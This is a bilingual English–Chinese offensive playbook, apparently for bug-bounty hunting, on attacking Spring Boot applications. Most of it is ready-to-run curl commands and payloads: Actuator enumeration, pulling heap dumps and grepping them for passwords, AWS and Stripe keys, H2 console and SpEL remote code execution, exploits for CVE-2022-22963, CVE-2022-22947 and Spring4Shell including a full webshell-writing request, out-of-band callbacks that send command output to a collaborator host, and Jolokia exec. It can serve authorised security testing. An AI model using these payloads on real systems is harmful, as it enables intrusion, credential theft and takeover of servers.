hunt-springboot

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

HUNT-SPRINGBOOT — Spring Boot Specific Vulnerabilities

HUNT-SPRINGBOOT — Spring Boot 特有漏洞

Crown Jewel Targets

核心高价值目标

Spring Boot Actuator
/actuator/heapdump
exposed = heap dump with all secrets in memory.
Highest-value findings:
  • /actuator/heapdump
    — full JVM heap dump contains plaintext passwords, tokens, DB credentials, private keys stored anywhere in memory
  • /actuator/env
    — lists all environment variables and Spring properties including secrets
  • /actuator/shutdown
    — POST → shuts down the application (Critical availability impact)
  • H2 Console (
    /h2-console
    )
    — in-memory DB admin UI → SQL query execution → potential RCE via
    CREATE ALIAS
    trick
  • SpEL injection — Spring Expression Language in template fields,
    @Value
    annotations, SpEL-processed request params → RCE
  • Spring4Shell CVE-2022-22965 — Spring Framework < 5.3.18 + Tomcat → RCE via data binding

Spring Boot Actuator 的
/actuator/heapdump
端点暴露 = 可获取包含内存中所有秘密信息的堆转储。
最高价值的发现:
  • /actuator/heapdump
    — 完整的 JVM 堆转储包含明文密码、令牌、存储在内存任意位置的数据库凭据和私钥
  • /actuator/env
    — 列出所有环境变量和 Spring 属性,包括秘密信息
  • /actuator/shutdown
    — POST → 关闭应用(严重影响可用性)
  • H2 Console(
    /h2-console
    )
    — 内存数据库管理 UI → 执行 SQL 查询 → 可通过
    CREATE ALIAS
    技巧实现潜在 RCE
  • SpEL 注入 — 模板字段、
    @Value
    注解、经过 SpEL 处理的请求参数中的 Spring Expression Language → RCE
  • Spring4Shell CVE-2022-22965 — Spring Framework < 5.3.18 + Tomcat → 通过数据绑定实现 RCE

Phase 1 — Fingerprint Spring Boot

阶段 1 — 识别 Spring Boot 指纹

bash
undefined
bash
undefined

Spring Boot indicators

Spring Boot indicators

curl -sI https://$TARGET/ | grep -i "x-application-context|x-content-type" curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page|Spring Boot|org.springframework"
curl -sI https://$TARGET/ | grep -i "x-application-context|x-content-type" curl -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page|Spring Boot|org.springframework"

Actuator root (may list available endpoints)

Actuator root (may list available endpoints)

curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null curl -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null

Try common base paths

Try common base paths

for base in "" "/manage" "/management" "/app"; do STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator") [ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator" done

---
for base in "" "/manage" "/management" "/app"; do STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator") [ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator" done

---

Phase 2 — Actuator Endpoint Enumeration

阶段 2 — Actuator 端点枚举

bash
BASE="https://$TARGET/actuator"
bash
BASE="https://$TARGET/actuator"

High-impact endpoints

High-impact endpoints

ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics" "loggers" "info" "health" "configprops" "shutdown" "trace" "httptrace" "auditevents" "sessions" "scheduledtasks" "caches" "flyway" "liquibase" "refresh" "restart")
for EP in "${ENDPOINTS[@]}"; do

Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login

page for many paths. Require actuator-shaped JSON (or a heapdump body)

before calling it EXPOSED.

BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP") CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP") if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page|<html"; then echo "[+] EXPOSED: $BASE/$EP" fi done
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics" "loggers" "info" "health" "configprops" "shutdown" "trace" "httptrace" "auditevents" "sessions" "scheduledtasks" "caches" "flyway" "liquibase" "refresh" "restart")
for EP in "${ENDPOINTS[@]}"; do

Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login

page for many paths. Require actuator-shaped JSON (or a heapdump body)

before calling it EXPOSED.

BODY=$(curl -s -H "Accept: application/json" "$BASE/$EP") CT=$(curl -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP") if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page|<html"; then echo "[+] EXPOSED: $BASE/$EP" fi done

Get environment variables (passwords, API keys)

Get environment variables (passwords, API keys)

curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password|secret|key|token|credential" | head -20
curl -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password|secret|key|token|credential" | head -20

Get all endpoint mappings (full API surface)

Get all endpoint mappings (full API surface)

curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort
curl -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -oP '"pattern":"\K[^"]+' | sort

Get Spring beans (lists all registered beans, reveals internal architecture)

Get Spring beans (lists all registered beans, reveals internal architecture)

curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100

---
curl -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100

---

Phase 3 — Heap Dump Analysis

阶段 3 — 堆转储分析

bash
undefined
bash
undefined

Download heap dump (can be large — 100MB+)

Download heap dump (can be large — 100MB+)

curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof ls -lh /tmp/heapdump.hprof
curl -s "$BASE/heapdump" -o /tmp/heapdump.hprof ls -lh /tmp/heapdump.hprof

Quick grep for secrets in heap dump (binary file — use strings)

Quick grep for secrets in heap dump (binary file — use strings)

strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" |
grep -v "^[a-z_]" | sort -u | head -50
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" |
grep -v "^[a-z_]" | sort -u | head -50

More targeted extraction

More targeted extraction

strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20 strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u # AWS keys strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u # Stripe keys strings /tmp/heapdump.hprof | grep -oP "Bearer [A-Za-z0-9._-]+" | sort -u # Bearer tokens
strings /tmp/heapdump.hprof | grep -oP "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20 strings /tmp/heapdump.hprof | grep -oP "AKIA[A-Z0-9]{16}" | sort -u # AWS keys strings /tmp/heapdump.hprof | grep -oP "sk_live_[A-Za-z0-9]+" | sort -u # Stripe keys strings /tmp/heapdump.hprof | grep -oP "Bearer [A-Za-z0-9._-]+" | sort -u # Bearer tokens

Use Eclipse Memory Analyzer (MAT) for deep analysis

Use Eclipse Memory Analyzer (MAT) for deep analysis


---

---

Phase 4 — H2 Console RCE

阶段 4 — H2 控制台 RCE

bash
undefined
bash
undefined

H2 console detection

H2 console detection

curl -s "https://$TARGET/h2-console" | grep -i "H2 Console|H2 Database" curl -s "https://$TARGET/h2" | grep -i "H2 Console" curl -s "https://$TARGET/console" | grep -i "H2"
curl -s "https://$TARGET/h2-console" | grep -i "H2 Console|H2 Database" curl -s "https://$TARGET/h2" | grep -i "H2 Console" curl -s "https://$TARGET/console" | grep -i "H2"

Default credentials: sa / (empty password)

Default credentials: sa / (empty password)

JDBC URL: jdbc:h2:mem:testdb

JDBC URL: jdbc:h2:mem:testdb

If accessible, RCE via CREATE ALIAS:

If accessible, RCE via CREATE ALIAS:

SQL to execute:

SQL to execute:

CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {

CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {

Runtime rt = Runtime.getRuntime();

Runtime rt = Runtime.getRuntime();

String[] commands = {"sh","-c",cmd};

String[] commands = {"sh","-c",cmd};

Process proc = rt.exec(commands);

Process proc = rt.exec(commands);

return new String(proc.getInputStream().readAllBytes());

return new String(proc.getInputStream().readAllBytes());

} $$;

} $$;

CALL EXEC('id');

CALL EXEC('id');


---

---

Phase 5 — SpEL Injection

阶段 5 — SpEL 注入

bash
undefined
bash
undefined

Spring Expression Language injection in user-controlled fields

Spring Expression Language injection in user-controlled fields

Test: ${77} or #{77} → if the response reflects 49, SpEL is being evaluated

Test: ${77} or #{77} → if the response reflects 49, SpEL is being evaluated

Common injection points:

Common injection points:

- Email template fields: "Hello ${name}"

- Email template fields: "Hello ${name}"

- Custom annotation @Value("${user.input}")

- Custom annotation @Value("${user.input}")

- Spring Security expressions

- Spring Security expressions

- Spring WebFlow

- Spring WebFlow

Basic SpEL test

Basic SpEL test

curl -s -X POST "https://$TARGET/api/user/name"
-H "Content-Type: application/json"
-d '{"name": "#{7*7}"}'
curl -s -X POST "https://$TARGET/api/user/name"
-H "Content-Type: application/json"
-d '{"name": "#{7*7}"}'

If returns 49 → SpEL injection confirmed

If returns 49 → SpEL injection confirmed

RCE payload — note: exec() returns a Process, not a String, so a bare

RCE payload — note: exec() returns a Process, not a String, so a bare

exec("id") produces NO visible output. Confirm via an OOB curl callback

exec("id") produces NO visible output. Confirm via an OOB curl callback

(the spawned curl makes the network request even though nothing is reflected):

(the spawned curl makes the network request even though nothing is reflected):

curl -s -X POST "https://$TARGET/api/user/name"
-H "Content-Type: application/json"
-d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{"sh","-c","curl COLLAB_HOST/spel-$(id|base64)"})}"}'
curl -s -X POST "https://$TARGET/api/user/name"
-H "Content-Type: application/json"
-d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{"sh","-c","curl COLLAB_HOST/spel-$(id|base64)"})}"}'

CVE-2022-22963 — Spring Cloud Function SpEL

CVE-2022-22963 — Spring Cloud Function SpEL

curl -s -X POST "https://$TARGET/functionRouter"
-H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("curl COLLAB_HOST/spel-rce")"
-d "test"

---
curl -s -X POST "https://$TARGET/functionRouter"
-H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("curl COLLAB_HOST/spel-rce")"
-d "test"

---

Phase 5b — Spring Cloud Gateway Actuator SpEL RCE (CVE-2022-22947)

阶段 5b — Spring Cloud Gateway Actuator SpEL RCE(CVE-2022-22947)

If the
gateway
actuator is exposed, add a route whose filter body is SpEL, then refresh to evaluate it (escape inner quotes for your shell):
bash
curl -s -X POST "$BASE/actuator/gateway/routes/hax" -H "Content-Type: application/json" \
 -d '{"id":"hax","filters":[{"name":"AddResponseHeader","args":{"name":"X","value":"#{T(java.lang.Runtime).getRuntime().exec(new String[]{ \"id\" })}"}}],"uri":"http://x"}'
curl -s -X POST "$BASE/actuator/gateway/refresh"; curl -s "$BASE/actuator/gateway/routes"
如果暴露了
gateway
actuator,则添加一个过滤器主体为 SpEL 的路由,然后刷新以完成求值(转义 shell 内的引号):
bash
curl -s -X POST "$BASE/actuator/gateway/routes/hax" -H "Content-Type: application/json" \
 -d '{"id":"hax","filters":[{"name":"AddResponseHeader","args":{"name":"X","value":"#{T(java.lang.Runtime).getRuntime().exec(new String[]{ \"id\" })}"}}],"uri":"http://x"}'
curl -s -X POST "$BASE/actuator/gateway/refresh"; curl -s "$BASE/actuator/gateway/routes"

Phase 5c — Writable
/env
->
/refresh
gadget RCE

阶段 5c — 可写
/env
→
/refresh
Gadget RCE

When
/actuator/env
accepts POST and
/actuator/refresh
exists, poison a property then reload:
bash
undefined
当
/actuator/env
接受 POST 且
/actuator/refresh
存在时,污染某个属性,然后重新加载:
bash
undefined

logback JNDI:

logback JNDI:

curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"logging.config","value":"http://$COLLAB/logback.xml"}'
curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"logging.config","value":"http://$COLLAB/logback.xml"}'

Eureka XStream deserialization:

Eureka XStream deserialization:

curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://$COLLAB/x"}' curl -s -X POST "$BASE/actuator/refresh"
(Veracode: Exploiting Spring Boot Actuators.)
curl -s -X POST "$BASE/actuator/env" -H "Content-Type: application/json" -d '{"name":"eureka.client.serviceUrl.defaultZone","value":"http://$COLLAB/x"}' curl -s -X POST "$BASE/actuator/refresh"
(Veracode:Exploiting Spring Boot Actuators。)

Phase 6 — Spring4Shell (CVE-2022-22965)

阶段 6 — Spring4Shell(CVE-2022-22965)

bash
undefined
bash
undefined

Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);

Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);

fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.

fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.

Requires: Java 9+, Tomcat as WAR deployment

Requires: Java 9+, Tomcat as WAR deployment

Detection: does the app accept class.* parameters?

Detection: does the app accept class.* parameters?

curl -s "https://$TARGET/api/user"
-d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
curl -s "https://$TARGET/api/user"
-d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"

Check COLLAB for HTTP callback

Check COLLAB for HTTP callback

Exploitation: write webshell via class loader

Exploitation: write webshell via class loader

curl -s "https://$TARGET/login"
--data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

---
curl -s "https://$TARGET/login"
--data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

---

Phase 7 — Jolokia JMX Exposure

阶段 7 — Jolokia JMX 暴露

bash
undefined
bash
undefined

Jolokia provides HTTP access to JMX MBeans

Jolokia provides HTTP access to JMX MBeans

curl -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20 curl -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20
curl -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20 curl -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20

List all MBeans

List all MBeans

curl -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type|operation" | head -30
curl -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type|operation" | head -30

Read system properties via Jolokia (may expose credentials)

Read system properties via Jolokia (may expose credentials)

curl -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" |
python3 -m json.tool 2>/dev/null | grep -i "password|secret|key"
curl -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" |
python3 -m json.tool 2>/dev/null | grep -i "password|secret|key"

Exec MBean operations (potential RCE via MLet)

Exec MBean operations (potential RCE via MLet)

curl -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"

---
curl -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"

---

Chain Table

链式利用表

Spring Boot findingChain toImpact
/actuator/heapdump
Extract DB passwords, API keys from memoryCritical credential exfil
/actuator/env
Read all env vars including secretsHigh
H2 console accessibleCREATE ALIAS → RCECritical
SpEL injection
T(Runtime).exec()
→ OS command
Critical RCE
Spring4ShellWrite webshell → RCECritical
Jolokia + MLetRemote code via MBeanCritical RCE

Spring Boot 发现项可链式利用至影响
/actuator/heapdump
从内存中提取数据库密码和 API 密钥严重凭据外泄
/actuator/env
读取包括秘密信息在内的所有环境变量高危
H2 控制台可访问CREATE ALIAS → RCE严重
SpEL 注入
T(Runtime).exec()
→ 操作系统命令
严重 RCE
Spring4Shell写入 Webshell → RCE严重
Jolokia + MLet通过 MBean 远程执行代码严重 RCE

Validation

验证

✅ Heap dump: strings command extracts readable passwords/tokens from .hprof file ✅ Actuator/env: secrets visible in JSON response ✅ SpEL: arithmetic expression evaluates (7*7=49) or OOB callback received ✅ H2 console: SQL executed,
id
output returned
Severity:
  • Heapdump with credentials: Critical
  • SpEL RCE: Critical
  • H2 console RCE: Critical
  • Actuator env (passwords exposed): High
  • Mappings disclosure only: Low-Medium
✅ 堆转储:strings 命令可从 .hprof 文件中提取可读的密码和令牌 ✅ Actuator/env:JSON 响应中可见秘密信息 ✅ SpEL:算术表达式被求值(7*7=49),或收到 OOB 回调 ✅ H2 控制台:SQL 已执行,并返回
id
输出
严重性:
  • 包含凭据的堆转储:严重
  • SpEL RCE:严重
  • H2 控制台 RCE:严重
  • Actuator env(密码暴露):高危
  • 仅映射信息披露:低危至中危